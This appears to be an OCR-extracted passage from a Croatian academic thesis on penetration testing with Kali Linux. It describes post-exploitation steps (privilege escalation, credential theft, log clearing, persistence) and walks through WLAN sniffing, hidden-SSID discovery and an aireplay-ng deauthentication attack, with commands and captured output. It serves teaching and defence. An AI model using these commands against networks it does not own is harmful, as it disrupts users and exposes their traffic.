- Pokusava prosiriti razinu povlastica za pristup sustavu hvatanjem administratorskih
vjerodajnica

- PokuSava napasti ostale podatkovne sustave provodenjem napada kroz ugroZeni sustav
ostatkom mreze

- Ugraduje postojani povratni put u sustav i pretvara kanale kako bi ponovno zadobio
kontrolu te imao sigurnu komunikaciju sa ugroZenim sustavom

- Uklanja znakove napada sa ugroZenog sustava.

Za uspjesno djelovanje na cilj nakon iskoriStavanja, potrebno je poznavanje operativnog sustava
mete kao i podatkovne strukture kako bi se zaobisle zastitne provjere. Korisnicima Windows-a je
poznato kako izvodenje bilo kakvih ovlastenih aktivnosti zahtijeva administratorsku dozvolu.
Prema tome, odmah nakon iskoriStavanja napadace zanima tko je korisnik napadnutog sustava i
kakve ovlasti ima nad tim sustavom. Njih moze dobiti kroz Metasploit pa ako su administratorske

ovlasti postavljene na uobicajen nacin, moci ¢e podici vlastite ovlasti.

Kada napadac iskoristavanjem dode do cilja obi¢no krade ili mijenja vlasni¢ke podatke te se onda
okrece iducoj meti, odnosno datotekama sustava. One ¢e pruziti informacije koje ¢e biti korisne
za dodatne napade. U slucaju Windows operativnog sustava napadac ¢e napasti: memoriju sustava
(pruza velike koli¢ine informacija $to moze iskoristiti za izvlacenje lozinki, enkripcijskih kljuceva
1 slicno), registarske datoteke sustava, podatke vezane za elektroni¢ku postu, a 1 bilo kakve druge

lozinke ili korijenske datoteke koriStene za enkripciju.
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Kreiranje dodanih korisni¢kih racuna obi¢no se primijeti od strane vlasnika sustava prilikom
prijave pa se iz tog razloga zapravo koriste za odvlacenje paznje od upornijih mehanizama
pristupa. Izmjenom odredenog registra novo kreirani raun moze se sakriti od korisnika sustava,
ali naredba se razlikuje ovisno o operacijskom sustavu mete pa je potrebno prvo odrediti vrstu

sustava kako bi se moglo dalje postupati.

Cesto je moguée dobiti pristup sustavu kao gost ili kao korisnik vrlo jednostavno. Moguénost
napadaca da dohvati vazne informacije ovisi upravo o razinama ovlasti. Prema tome je ¢esta akcija
nakon iskoriStavanja podiéi razinu ovlasti od gostujuce i korisnicke ¢ak do administratorske sve
do sustavne. Kako bi dobio napredne korisnikove vjerodajnice napadac¢ koristi nekoliko metoda
kao §to su: postavljanje osluskivanja mreze za hvatanje prenesene korisnikove vjerodajnice,
pretrazivanje lokalno spremljenih lozinki (iz razloga §to korisnici ¢esto skupljaju lozinke u
odredenom direktoriju), iniciranje Stetnog koda direktno u servise koriStenjem sustavne

administratorske ovlasti i dr. [1].

Jednom kada napadac¢ dobije pristup odredenoj mrezi ili sustavu, jako je vazno pokriti trag kako
bi izbjegao detekciju ili poduzeti mjere kako bi otezao postupak rekonstrukcije svoje aktivnosti.
To moze uciniti brisanjem zapisnickog dnevnika Windows-a u potpunosti ako se on aktivno vodi
na serveru. Brisanje dnevnika ne izaziva nikakve alarme na korisnickoj strani, ¢ak se nedostatak

odredenih zapisa smatra uobicajeno pa se ne vodi detaljnije istraZivanje po tom pitanju.

3.5. Nakon iskoriStavanja - ustrajnost

Posljednji korak napada predstavlja faza kada se napadac oslanja na ustrajnu konekciju unutar
ugrozenog sustava kako bi osigurao mogucénost ponovnog spajanja i odrzavanja kontrole nad
napadnutim sustavom. Cesto se zato ugraduju $tetni softveri u sustave mete. Napada¢ mora biti u
moguénosti odrzati interaktivnu ustrajnost, odnosno dvosmjerni komunikacijski kanal sa
napadnutim sustavom Koji treba ostati dugo neprimjetan unutar sustava. Razlozi zbog kojih je

ovakva konekcija potrebna su prema [1] sljedeci:

- Upade u racunalnu mrezu moguce je otkriti pa ¢e do¢i do identifikacije ugrozenog sustava
1 stvaranja zastite

- Neka iskoriStavanja moguce je provesti samo jednom zbog toga Sto su ranjivosti
isprekidane, iskoriStavanja uzrokuju pad sustava ili ga prisiljavaju na promjenu $to ¢ini
ranjivosti neupotrebljivima.

- Napadaci ¢e se mozda morati vratiti nekoliko puta na istu metu iz razlicitih razloga
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- Korisnost ugrozenog sustava nije uvijek poznata u trenutku kada se dobije pristup.

Stetni softveri, koji su namijenjeni da ostanu u ugrozenom sustavu Sto duzi period vremena,

pruzaju napada¢ima i penetracijskim testerima velik broj moguénosti [1]:

- Dozvoljavaju pridruzivanje dodatnih alata za podrzavanje novih napada osobito na sustave
u istoj mrezi

- Olaksavaju izvlacenje podataka iz ugrozenih sustava i mreza

- Dozvoljavaju napadac¢ima ponovno povezivanje u ugrozeni sustav preko kodiranog kanala
kako bi izbjegli detekciju. Poznato je da Stetni softveri ostaju u sustavu i do godinu dana

- Ugraduju tehnike kako bi se izbjegla moguca detekcija Sto ukljucuje skrivanje unutar

sustavnih datoteka ili memoriji sustava koriste¢i snaznu ovjeru autentic¢nosti i kodiranje.

Ako se Stetni softveri otkriju i uklone potrebno je uloziti dodatne napore kako bi se doslo do
ugrozavanja sustava na isti na¢in. Kali se iz tog razloga usredotocuje na Stetne softvere koje je teze
otkriti ako su ispravno podeseni. Najbolji su oni Stetni softveri koje ne treba dodatno skrivati zato
Sto su dio postojece strukture datoteka ugrozenog sustava. Napada¢ samo mora dodati odredenu
funkcionalnost kako bi pretvorio uobic¢ajene sustavne datoteke 1 aplikacije u Stetni softver, a takav

se pristup gotovo nikako ne moze otkriti od strane sigurnosnih kontrolnih sustava.
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4. BEZICNA MREZA — WLAN

WLAN (engl. Wireless Local Area Network) predstavlja bezi¢nu ra¢unalnu mrezu koja povezuje
dva ili vise uredaja koristeéi bezicnu komunikaciju. Pokriva odredeno podrucje unutar kojeg se
korisnici mogu kretati i ostati povezani. Ovakve mreZe su izrazito pogodne za kuénu upotrebu
zbog jednostavnog postavljanja 1 koriStenja. Takoder se koriste u komercijalnim prostorima kako
bi pruzile usluge svojim kupcima. Podaci se razmjenjuju zrakom $to predstavlja mogucu prijetnju
sigurnosti jer su takvi podaci najjednostavniji za presresti. Kasnije ¢e kroz rad biti dani primjeri
kako hakeri osluskuju prijenos podataka, odnosno hvataju podatke zracne komunikacije koji

dolaze od strane svih usmjerivaca koji su u dometu.

Trenutno najrasireniji oblik WLAN mreze je WI-FI. Radi na uredajima koji se temelje na IEEE
802.11 standardu. Postoji viSe verzija tog standarda, ali su najviSe rasprostranjeni 802.11a, 802.11b
i 802.11g. Verzije b i g su rasprostranjene u Hrvatskoj, dok se verzija a koristi u SAD-u. Jedina
razlika izmedu njih je u tome Sto standardi 802.11b 1 g rade na radijskoj frekvenciji od 2,4 GHz
dok 802.11a radi na 5 GHz.

Po pitanju arhitekture WLAN mreze, vazno je imati pristupnu tocku te jednog ili vise klijenata.
Pristupna tocka ih povezuje u zajedni¢ku grupu i sluzi sa spajanje sa Zicanom mrezom ili drugim
WLAN mrezama. Povezivanje sa drugim mrezama omogucuje bezi¢ni usmjerivac ¢ija je glavna
zadaca ostvarivanje komunikacije sa WAN mrezom preko spojnih linija kao npr. ISDN, DSL ili
drugim WLAN tehnologijama. Kroz ovo poglavlje ¢e biti obradeni primjeri napada na WLAN

mrezu osluskivanjem paketa, probijanjem enkripcijskih zaporki i sli¢no.

4.1. Nesigurnosti WLAN mreZe

Jedna od osnovnih nesigurnosti WLAN mreze predstavlja zracni prijenos podataka jer je moguce

osluskivati okvire WLAN paketa bezi¢ne mreze. Postoje tri vrste WLAN okvira [4]:

- Upravljacki okviri: sluze za odrzavanje komunikacije izmedu pristupne tocke i klijenata.
- Kontrolni okviri: osiguravaju odgovaraju¢u razmjenu podataka izmedu pristupne tocke 1
Klijenata

- Podatkovni okviri: prenose stvarne podatke u bezi¢noj mrezi.

Prva dva oblika imaju i podfiltere, a osluskivanje navedenih okvira moguce je preko alata kao Sto
je Wireshark, ali i drugih sa Kali-a kao sto su Airodump-NG, Tcpdump ili Tshark. Prvi korak za

osluskivanje je prebaciti mreznu karticu u nacin rada osluskivanja. Medutim, kako bi se to moglo
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uciniti potrebno je provijeriti i uspostaviti nekoliko postavki. Sve se naredbe unose u terminalu
Kali-a. Unosom iwconfig moguce je provjeriti je 1i mrezna kartica aktivna i prepoznana on strane

sustava.

root@ivan: ~ e ® 0

File Edit View Search Terminal Help
:~# iwconfig

wlan® IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=30 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off

no wireless extensions.

no wireless extensions.

:~# ifconfig wlan@ up
~#
:~# ifconfig wlan0@

wlan0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether a2:5b:c7:bd:el:90 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors © dropped @ overruns 0 frame 0
TX packets © bytes 0 (0.0 B)
TX errors @ dropped © overruns 0 carrier © collisions 0

:~# ]

Sl. 4.1. Prikaz terminala nakon izvodenja naredbi za provjeru postojanja i podizanja mrezne

kartice

Na slici 4.1. vidimo da sustav prepoznaje mreznu karticu kao wlan0, zatim ju je potrebno aktivirati
naredbom ifconfig wlanO up te provjeriti je li aktivna naredbom ifconfig wlan0. U prvom redu koji
slijedi nakon posljednje naredbe vidi se klju¢na rije¢ UP §to ukazuje na to da je mrezna kartica
uspjesno podignuta, odnosno aktivirana. Sada je moguce poduzeti mjere postavljanja nacina rada
osluskivanja. Slika 4.2. prikazuje naredbu airmon-ng kojom se ispituje prepoznaje li dostupne
mrezne kartice. Sucelje wlan0 je na popisu pa je idu¢a naredba airmon-ng start wlan0 sto ¢e sucelje
prebaciti u nacin rada osluskivanja. Zatim je jo$ jednom izvrSena provjera novog sucelja naredbom
airmon-ng te vidimo da se sada naziva wlanOmon sto oznacava nacin rada osluskivanja (engl.
Monitor Mode).
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root@ivan: ~ e ® 0

File Edit View Search Terminal Help
:~# airmon-ng

PHY Interface Driver Chipset

phy0@ wlan0 brcmsmac Broadcom on bcma bus, information limited
:~# airmon-ng start wlan0

Found 2 processes that could cause trouble.

If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

PID Name
1857 NetworkManager
1869 wpa supplicant

PHY Interface Driver Chipset
phy@ wlan0 brcmsmac Broadcom on bcma bus, information limited

(mac80211 monitor mode vif enabled for [phy@]wlan® on [phy®]wlanOmon)
(mac80211 station mode vif disabled for [phy@]wlan0)

:~# airmon-ng
Interface Driver Chipset

wlanOmon brcmsmac Broadcom on bcma bus, information limited

:~# []

Sl. 4.2. Postupak prelaska u ,,Monitor mode*

Prikazana su dva procesa koji ¢e nakon odredenog vremena iskljuciti na¢in rada osluskivanja.
Kada vide mreznu karticu u osluskivanju reagiraju zato $to znaju da to nije njena uobicajena
funkcija i zato ¢e mreznu karticu vratiti U prvobitno stanje. Da se to ne dogodi, korisnik moze
iskljuciti utjecaj procesa naredbom airmon-ng check kill. Treba imati na umu, ako se kasnije izade
iz na¢ina rada osluskivanja naredbom arimon-ng stop wlanOmon, da ugaSene procese treba
ponovno pokrenuti naredbom service network-manager start. Naredba ifconfig wlanOmon bi
nakon svega trebala prikazivati postojanje novog sucelja. Na ovaj nacin uspjeS$no je stvoreno

sucelje u nainu rada osluskivanja s kojim ¢e se hvatati, odnosno osluskivati paketi iz zraka.

Sada je potrebno pokrenuti Wireshark istoimenom naredbom u Kali terminalu. Kada se alat
pokrene moguce je vidjeti stvoreno sucelje wlanOmon koje osluskuje sve pakete koji dolaze sa

usmjerivaca u dometu racunala.
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The Wireshark Network Analyzer e ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A 1l ® O R G QA « = .0 [« 3 @ @ @ fF
[ |Apply a display filter ... <C -| Expression.. | +
Welcome to Wireshark

Open

froot/Desktop/Captures/proba-01-dec.cap (22 KB)

froot/Desktop/Captures/proba-01.cap (626 KB)

Capture

.using this filter: | ‘;H'J—\ a capture filter M
wlanOmon = =
any I~
Loopback: lo -
eth0 J— -

Learn

User's Guide - Wiki - Questions and Answers - Mailing Lists|

You are running Wireshark 2.2.5 (Git Rev Unknown from unknown).

Ready to load or capture No Packets Profile: Default

Sl. 4.3. Pocetni zaslon alata za osluskivanje paketa — Wireshark

Odabirom stvorenog sucelja sa slike 4.3. prikazat ¢e se svi paketi koje je uhvatilo iz zraka, a

odabirom jednog od paketa prikazuje se viSe informacija:

hre W) G-

Capturing from wlanOmon e ® 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

BA® O X 6 Q « » 0 1« » @ e @ F
[W]apply a display filtes -| Expression.. | +
No. Time Source Destination Protocol Length Info =
10.000000800  Netgear 4c:dl:28 Broadcast 802, 270 Beacon frame FN
20.017709651 Netgear_4c:dl1:28 (c. ZyxelCom_be:4c:@4 (.. 802,11 42 Request-to-send, Flags=....
3 0.022810759 BillionE_90:ee:d1 Broadcast 802,11 114 Beacon frame, SN=1525, FN=0 , BI=10@, SSID=wlan
4 0.070704808 Tp-LinkT_b3:8e:.cc Broadcast 802.11 248 Beacon frame, =0 ., BI=10@, SSID=lucic
5 0.102381993 Netgear_4c:dl:28 Broadcast 802,11 270 Beacon frame, . ., BI=100, SSID=ZyXEL_4CO04_E.
6 0.1252489081 BillionE_90:ee . dl Broadcast 802,11 114 Beacon frame, SN=1526, FN=0, Flags=.... , BI=10@, SSID=wlan
7 0.1731144865 Tp-LinkT_b3:8e:cc Broadcast 802.11 248 Beacon frame, SN=1038, FN=0, Flags=.... , BI=180, SSID=lucic
8 0.227682274 BillionE_090:ee:d1 Broadcast 802,11 114 Beacon frame, P | 00, SSI lan
9 0.275538276 Tp-LinkT_b3:8e:cc Broadcast 802,11 248 Beacon frame, ., BI=108, SSID=lucic
10 0.307187846 Netgear_4c:d1:28 Broadcast 802,11 270 Beacon frame, ., BI=108, SSID=ZyXEL_4CO04_E..
11 0.330114184 RillinnF 90 ee: d1 Broadrast /60211 114 Beacon frame . SN=1528. FN=0 BT=100. SSTN=wlan =

Frame 1: 270 bytes on wire (2160 bits), 270 bytes captured (2160 bits) on interface 0
Radiotap Header v@, Length 26

802.11 radio information

IEEE 802.11 Beacon frame, Flags: ........

IEEE 80@2.11 wireless LAN management frame

vyvwww

00 00 1a 00 2f 48 00 00 31 f9 5a 61 00 00 0O 0O Loo/HG 1Zal E
02 18 71 09 c0 00 hl 00 GO0 00 80 Q0 00 Q@ ff ff

TF P FT ff c4 04 15 4c dl 28 c4 04 15 4c d1 28 .......L

f0 3c b2 da db 90 Be 0@ GO0 08 64 00 11 04 00 Oe LS d.

S5a 79 58 45 4c 5f 34 43 30 34 5f 45 58 54 01 08 ZyXEL_4C 04_EXT..

82 84 0b 16 24 30 48 6c 03 01 01 05 04 00 B2 00 oo %eHL -
O 7 wlanOmon: <live capture in progress> Packets: 6487 - Displayed: 6487 (100.0%) Profile: Default

Sl. 4.4, Prikaz uhvaéenih paketa
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Za prikaz spomenutih WLAN okvira moguce je unijeti odredene filtere u traku za unos. Za
upravljacke okvire izraz filtera je wlan.fc.type == 0, za kontrolne wlan.fc.type == 1, a za
podatkovne wlan.fc.type == 2. Takoder je moguc¢e kombinirati izraze za filtriranje operatorom
&& izmedu njih. Filtere mozemo iskoristiti 1 za prikazivanje prometa sa zeljenog usmjerivaca
unosom izraza wlan.bssid == <MAC> u polje za unos gdje <MAC> predstavlja MAC adresu
usmjerivaca. MAC adresu bilo kojeg usmjerivac¢a u dometu vrlo je lako pronaci u terminalu Kali-
a unosom naredbe airodump-ng wlanOmon. Prikazati ¢e se MAC adrese usmjerivaca, odnosno
BSSID, kanali na kojim rade, nacin enkripcije koji koriste te naziv koji je dodijeljen usmjerivacu,
odnosno ESSID. U drugoj polovici prozora moguce je vidjeti i MAC adrese uredaja koji su
trenutno spojeni na usmjerivace i s njima razmjenjuju pakete. Ove informacije se mogu iskoristiti
za napad na lozinku za spajanje na usmjeriva¢, no to ¢e biti objasnjeno kasnije u radu. Trenutno je
potrebno kopirati MAC adresu Zeljenog uredaja i pokrenuti ponovno Wireshark. Zatim se u polje
za unos filtera unese izraz (wlan.bssid == <MAC?>) sto prikazuje sve pakete koje $alje usmjerivac,
a ako se na prethodni izraz doda sljedeci izraz uz operator: && (wlan.fc.type_subtype == 0x20)

prikazat ¢e se svi paketi usmjereni prema usmjerivacu.

Ako podaci nisu $ifrirani, osluskivanje paketa omogucuje vrlo jednostavnu analizu razmijenjenih
podataka. Napadaci uz ovaj postupak podatke u Wireshark-u vide kao ¢itljivi tekst te se iz tog
razloga podaci u beZi€nim mrezama moraju Sifrirati. Svi korisnici unutar radio frekvencijskog
dometa pristupne tocke mogu vidjeti sve podatke ako koriste neki nacin osluSkivanja prometa Sto

predstavlja veliki sigurnosni problem.

4.2. Zaobilazenje WLAN ovjere

Svakom usmjerivacu dodijeljen je SSID koji predstavlja covjeku ¢itljivu identifikacijsku oznaku
bezicnog usmjerivaca. Drugim rije¢ima, SSID je ime koje je dodijeljeno usmjerivacu te ga se pod
tim imenom nalazi kada se Zeli spojiti na mrezu. Uobicajena postavka svih usmjerivaca je da javno
Salju svoj SSID. Jedna od mjera zaStite je prema tome u postavkama usmjerivaca sakriti SSID, t;.
onemoguciti njegovo javno Sirenje. Na slici 4.4. prikazan je primjer uhvacenih paketa preko
Wireshark-a i u treCem retku prikazan je uredaj ,,Billion” koji ima SSID ,,wlan“, a kada se u
postavkama SSID onemogudéi, na istom uredaju SSID je oznacen kao ,,Broadast”, odnosno

sakriveno je ime usmjerivaca.
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Applicatio

*wlanOmon
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

[] ® o XE o «» 3= aaff

| ‘wLan.bssid == 00:04:ED:90:EE:D1 1X] '] Expression..  +
No. Time Source Destination Protocol Length Info =
906 100.486447937 BillionE 90:es:dl Broadcast 802.11 103 Beacon frame, SN=3780, BI=100, SSID=Broadcast
908 100 .691346439 BillionE_00:ee: d1 Broadcast 802.11 103 Beacon frame, SN=3782, BI=100, SSID=Broadcast
909 1600 . 793779208 BillionE_00: Broadcast 802.11 103 Beacon frame, SN=3783, BI=100, SSID=Broadcast
910 100, 998666077 BillionE_90: Broadcast 802.11 103 Beacon frame, SN=3785, BI=100, SSID=Broadcast
911 101, 203548115 BillionE_90: Broadcast 802,11 103 Beacon frame, SN=3787, BI=100, SSID=Broadcast
912 101, 305965135 BillionE_90: Broadcast 802.11 103 Beacon frame, SN=3788, BI=100, SSID=Broadcast
913 101.408372307 BillionE 90: Broadcast 802.11 103 Beacon frame, SN=3789, BI=100, SSID=Broadcast
914 101 .510817039 BillionE_090: Broadcast 802.11 103 Beacon frame, SN=3790, BI=100, SSID=Broadcast
915 101. 920565210 BillionE_00:ee:d1 Broadcast 802.11 103 Beacon frame, SN=3794, BI=100, SSID=Broadcast
916 102,125367910 BillionE_90 ee.d1 Broadcast 802.11 103 Beacon frame, SN=3796, BI=100, SSID=Broadcast
917 102, 227869490 BillionE_90: Broadcast 802,11 103 Beacon frame, SN=3797, BI=100, SSID=Broadcast
918 102, 330262830 BillionE_90: Broadcast 802.11 103 Beacon frame, SN=3798, BI=100, SSID=Broadcast
919 102, 432689037 BillionE_90 Broadcast 802.11 103 Beacon frame, SN=3799, BI=100, SSID=Broadcast
920 102 . 637586719 BillionE_00: Broadcast 802.11 103 Beacon frame, SN=3801, BI=100, SSID=Broadcast
921 102, 740101029 BillionE_90:ee:d1 Broadcast 802.11 103 Beacon frame, SN=3802, BI=100, SSID=Broadcast
922 102,842421114 BillionE_90 ee.d1 Broadcast 802.11 103 Beacon frame, SN=3803, BI=100, SSID=Broadcast

Frame 1: 103 bytes on wire (824 bits), 103 bytes captured (824 bits) on interface ©
Radiotap Header v@, Length 26

802.11 radio information

IEEE 80@2.11 Beacon frame, Flags: ........

IEEE 8082.11 wireless LAN management frame

yvvww

00 00 1a 00 2f 48 00 00 82 aa ab 05 00 00 00 00 R =
02 18 80 09 cO 00 cb @0 00 00 80 00 80 @0 ff ff .. ... ...,

ff ff ff ff @0 04 ed 98 ee dl G0 04 ed 90 ee di
f0 ae 7c 45 64 43 00 00 00 00 64 00 11 00 GO 00
01 04 82 84 0b 16 03 01 01 dd 16 00 50 f2 @1 01
00 00 50 f2 92 01 80 00 50 f2 02 01 00 00 50 f2 =

© 7 wireshark_wlanOmon_20170907223124_1tV9Cv Packets: 922 - Displayed: 780 (84.6%) Profile: Default

Sl. 4.5. Prikaz uhvaéenih paketa nakon prikrivanja SSID-a

Skriveni SSID znaci da se na odredeni uredaj mogu spojiti samo korisnici koji znaju za njegovo
postojanje. Mnogi mrezni administratori prema tome smatraju kako je skriveni SSID dovoljna
mjera zaStite od napada, medutim preko Kali-a ga je lako otkriti. Koristi se pasivna tehnika ¢ekanja
prijave nekog korisnika na odgovarajué¢i usmjeriva¢. Korisnik i usmjeriva¢ izmijenit ¢e pakete u

kojima je sadrzan SSID mreze te tako otkriti njegovo postojanje sto je prikazano na slici 4.6.

24



Applications + Places v H® Wireshark « Thu 23:31

*wlanOmon (- JC N -]

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
[] ® O X[E @ « » Je = = @@ q 5

| ‘wLan.bssid == 00:04:ED:90:EE:D1 1X] '] Expression..  +
No. Time Source Destination Protocol Length Info =
13572 317.900110187 BillionE_90:ee:dl Broadcast 802.11 183 Beacon frame, SN=2413, FN=0, Flags=........, BI=100, SSID=Broadcast
13576 318 . 002544542 BillionE_00:ee: d1 Broadcast 802.11 103 Beacon frame, SN=2414, FN=0, Flags= ....., BI=100, SSID=Broadcast
13579 318.105021020 BillionE_00:ee:d1 Broadcast 802.11 103 Beacon frame, SN=2415, FN=0, Flags=.. ., BI=100, SSID=Broadcast
13584 318, 207393775 BillionE_90:ee:d1 Broadcast 802.11 103 Beacon frame, SN=2416, FN=@, Flags=.. BI=100, SSID=Broadcast
13589 318, 203262896 BillionE _90:ee: SonyMobi 25:69: 7' o 188 Probe Response, SN=2417, FN=0, Flags= ., BI=180, SSID=wlan
13592 318327242548 SonyMobi_25:69:7%5 BillionE_90Q:ee . dl 802,11 67 Authentication, SN=2960, FN=0, Flags=
13594 318, 328024103 BillionE_90:ee:dl SonyMohi_25:69:75 802.11 56 Authentication, SN=2419, FN=0, Flags=..... .
13596 318328641968 SonyMobi_25:89:75 BillionE_00:ee:d1 802.11 116 Association Request, SN=2961, FN=0, Flags=........, SSID=wlan
13598 318, 330503779 BillionE_90:ee:d1 SonyMobi_25:69:75 802.11 62 Association Respeonse, SM=2420, FN=0, Flags=........
13600 318, 337629344 SonyMobi_25:89:75 BillionE_90:ee.d1 802.11 58 Null function (No data), SN=2962, FN=@, Flags=.......T
13604 318, 412323823 BillionE_o0:ee:dl Broadcast 802,11 103 Beacon frame, SN=2421, FN=0©, Flags=........, BI=100, SSID=Broadcast
13606 318.514708121 BillionE_90:ee:dl Broadcast 802.11 183 Beacon frame, SN=2422, FN=0, Flags=........, BI=100, SSID=Broadcast
13609 318 . 617137670 BillionE_00:ee: d1 Broadcast 802.11 103 Beacon frame, SN=2423, FN=0, Flags= ....., BI=100, SSID=Broadcast
13612 318672346036 BillionE_90:ee:d1l SonyMobi_25:69:75 EAPOL 157 Key (Message 1 of 4)
13614 318.686882025 SonyMobi_25:89:75 BillionE_90:ee:d1 EAPOL 181 Key (Message 2 of 4)
13616 318, 689040567 BillionE_90:ee:d1l SonyMohi_25:69:75 EAFOL 181 Key (Message 3 of 4)
13618 318.693256720 SonyMobi_25:69:75 BillionE_90:ee:dl EAPOL 157 Key (Message 4 of 4) -

Frame 13589: 108 bytes on wire (864 bits), 108 bytes captured (864 bits) on interface @
Radiotap Header v@, Length 26

802.11 radio information

IEEE 802.11 Probe Response, Flags: ........

IEEE 80@2.11 wireless LAN management frame

yvrvww

00 00 1a 00 2f 48 00 00 66 5a 67 c8 00 0O 00 QO o H fZo =
02 18 6C 09 CO 00 20 OO Q0 0O 50 OO 3a 01 B84 C7 P Y T
ea 25 69 75 00 04 ed 90 ee d1 00 04 ed 90 ee di iU

10 97 53 0d a3 07 00 00 00 00 64 00 11 00 00 @b S d

77 6c 61 6e 2d 6d 61 72 69 6a 6f 01 04 82 84 Ob  wlan-mar ijo.....

16 03 01 01 dd 16 @0 50 f2 01 01 00 00 S@ f2 02 A F.. =
© 7 wireshark_wlanOmon_20170907232033_mx6jtF Packets: 27460 - Displayed: 7260 (26.4%) Profile: Default

Sl. 4.6. Paketi sa informacijama o SSID-i nakon prijave korisnika

Moguce je i izbjeci tehniku ¢ekanja prisilnim prekidanjem konekcije korisnika na usmjerivac
preko Kali terminala naredbom aireplay-ng -0 5 -a <MAC_usmjerivaca> --ignore-negative
wlanOmon, gdje -0 oznacava da je rije¢ o slanju deautentikacijskih poruka pa broj 5 oznacava
koliko ih se Salje. Kada se posalju sve poruke do¢i ¢e do ponovnog spajanja korisnika Sto ¢e u

Wireshark-u dovesti do prikaza SSID-a kao na slici 4.6.

root@ivan: ~ e ® O
File Edit View Search Terminal Help
:~# aireplay-ng -0 5 -a 00:04:ED:90:EE:D1 --ignore-negative wlanOmon
00:04:59 Waiting for beacon frame (BSSID: 00:04:ED:90:EE:D1) on channel 1
NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).
00:04:59 Sending DeAuth to broadcast -- BSSID: [00:04:ED:90:EE:D1]

00:05:00 Sending DeAuth to broadcast -- BSSID: [00:04:ED:90:EE:D1]

00:05:00 Sending DeAuth to broadcast -- BSSID: [00:04:ED:90:EE:D1]

00:05:01 Sending DeAuth to broadcast -- BSSID: [00:04:ED:90:EE:D1]

00:05:01 Sewﬁing DeAuth to broadcast -- BSSID: [00:04:ED:90:EE:D1]
~#

Sl. 4.7. Prekidanje konekcije svim korisnicima na ciljanom usmjerivacu
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*wlanOmon e 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
A | FIRE Q@ «» .31« @ a @ fF
‘wLan.bssid == 00:04:ED:90:EE:D1 1] '] Expression..  +
No. Time Source Destination Protocol Length Info =
1990 28.085533617 BillionE_90:ee: dl Broadcast 802.11 39 Deauthentication,
1991 28.087443036 BillionE_00:ee:d1 Broadcast 802.11 38 Deauthentication,
1992 28.087715489 BillionE_00:ee:d1 Broadcast 802.11 39 Deauthentication, .
1993 28.089591717 BillionE_90:ee:d1 Broadcast 802.11 38 Deauthentication, SN=22,
1994 28.089860331 BillionE_o0:ee:dl Broadcast 802,11 39 Deauthentication, SN=22,
1995 28.001737464 BillionE_00:ee:dil Broadcast 802.11 38 Deauthentication, SN=23,
1996 28.092211920 BillionE_90:ee: dl Broadcast 802.11 39 Deauthentication,
1997 28.0093925323 BillionE_00:ee:d1 Broadcast 802.11 38 Deauthentication, .
1998 28.004230208 BillionE_00:ee:dl1 Broadcast 802.11 39 Deauthentication, SN=24,
1999 28.096138150 BillionE_90:ee:d1 Broadcast 802.11 38 Deauthentication, SN=25,
2000 28.006426045 BillionE_o0:ee:dil Broadcast 802,11 39 Deauthentication, SN=25,
2001 28.008326082 BillionE_O0:ee:dil Broadcast 802.11 38 Deauthentication,
2002 28.098812519 BillionE_90:ee: dl Broadcast 802.11 39 Deauthentication, ,
2003 28.100452166 BillionE_00:ee:d1 Broadcast 802.11 38 Deauthentication, SN=27,
2004 28.100699234 BillionE_90:ee:d1 Broadcast 802.11 39 Deauthentication, SN=27,
2005 28.102583482 BillionE_90:ee:d1 Broadcast 802.11 38 Deauthentication, SN=28, -
1 »
» Frame 1: 103 bytes on wire (824 bits), 103 bytes captured (824 bits) on interface @
» Radiotap Header vO, Length 26
» 802 .11 radio information
» IEEE 882.11 Beacon frame, Flags:
» IEEE 882.11 wireless LAN management frame
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O 7 wireshark_wlanOmon_20170908000702_pelYRw
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Packets: 3945 - Displayed: 2366 (60.0%) Profile: Default

Sl. 4.8. Deautentikacijski paketi u Wireshark-u

*wlanOmon e 0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
dm FRE Q«» e[S aaaf
| ‘(wlan.bssid == 00:04:ED:90:EE:D1) && |( wlan.fc.type_subtype== Ox08) X 'I Expression..  +
No. Time Source Destination Protocol Length Info =
3424 32.474395278 BillionE_00:ee:d1 SonyMobi_25:69:75 802.11 108 Probe Response, SN=2331, ., BI=10®, SSID=wlan
3428 32.495245610 BillionE_90:ee:d1 SonyMobi_25:69:75 802.11 108 Probe Response, SN=2332, ., BI=10@, SSID=wlan
3431 32.515474880 BillionE_o0:ee:dil SonyMohi_25:69:75 802,11 108 Probe Response, SN=2333, ., BI=100, SSID=wlan
3434 32.535619444 BillionE_00:ee:di SonyMohi_25:69:75 802.11 108 Probe Response, SN=2334, ., BI=100, SSID=wlan
3437 32.555995179 BillionE 90:ee . di SonyMohi_25:69:75 802.11 188 Probe Response, SN=2335, ., BI=100, SSID=wlan
3442 32.576102192 BillionE_00:ee:d1 SonyMobi_25:69:75 802.11 108 Probe Response, SN=2337, , BI=100, SSID=wlan
3445 32.595555515 BillionE_90:ee:d1 SonyMobi_25:69:75 802.11 108 Probe Response, SN=2338, ., BI=100, SSID=wlan
3448 32.615476924 BillionE_90:ee:.d1 SonyMobi_25:69:75 802.11 108 Probe Response, SN=2339, ., BI=10@, SSID=wlan
3451 32.635370941 BillionE_90:ee:dil SonyMohi_25:69:75 802,11 108 Probe Response, SN=2340, ., BI=100, SSID=wlan
3455 32.656280376 BillionE_00:ee.dil SonyMobi_25:69:75 502,11 108 Probe Response, SN=2341, BI=100, SSID=wlan

3461 32,
3484 32,
3466 32.
3468 32.

732308201
766284471
767129155
768401124

108 Probe
67 Authentication, SN=2478,
56 Authentication, SN=2344,
116 Association Request, SN=2477, FN=0, Flags
3470 32.769333189 BillionE_90:ee: d1 SonyMohi_25:69: 802, 62 Association Response, SN=2345, FN=0, Flags= .
3474 32.778981720 SonyMobi_25:69:75 BillionE_90:ee: 802. 5@ Null function (No data), SN:2478, FN:O, Flags= T -
[ v
» Radiotap Header vO, Length 26 -
» 802,11 radio information
» IEEE 882.11 Probe Response, Flags: ...
